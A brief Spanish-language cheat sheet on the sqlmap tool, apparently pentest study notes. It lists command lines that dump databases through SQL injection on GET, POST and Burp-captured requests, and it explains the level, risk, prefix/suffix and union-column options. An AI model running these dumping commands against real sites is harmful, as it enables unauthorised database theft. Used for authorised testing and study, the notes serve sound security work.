16 - SQLMAP

GET

terminal
$ sqlmap 'http://www.example.com/?id=1' --dump

POST

terminal
$ sqlmap 'http://www.example.com/' --data 'uid=1&name=test' --dump
Si se conoce que un parámetro es vulnerable (por ejemplo uid), se marca con un asterisco (*):
terminal
$ sqlmap 'http://www.example.com/' --data 'uid=1*&name=test' --dump

Peticiones HTTP

Se copia la petición entera con Burp:
terminal
$ sqlmap -r req.txt --dump

Risk y Level

Level: la cantidad de payloads a usar. Risk: aumenta la variedad de payloads, incluyendo los de mayor potencial para causar efectos adversos.

Prefix y Suffix

--prefix y --suffix para añadir contenido al principio/final de la query.

Union

--union-cols : para indicar la cantidad de columnas.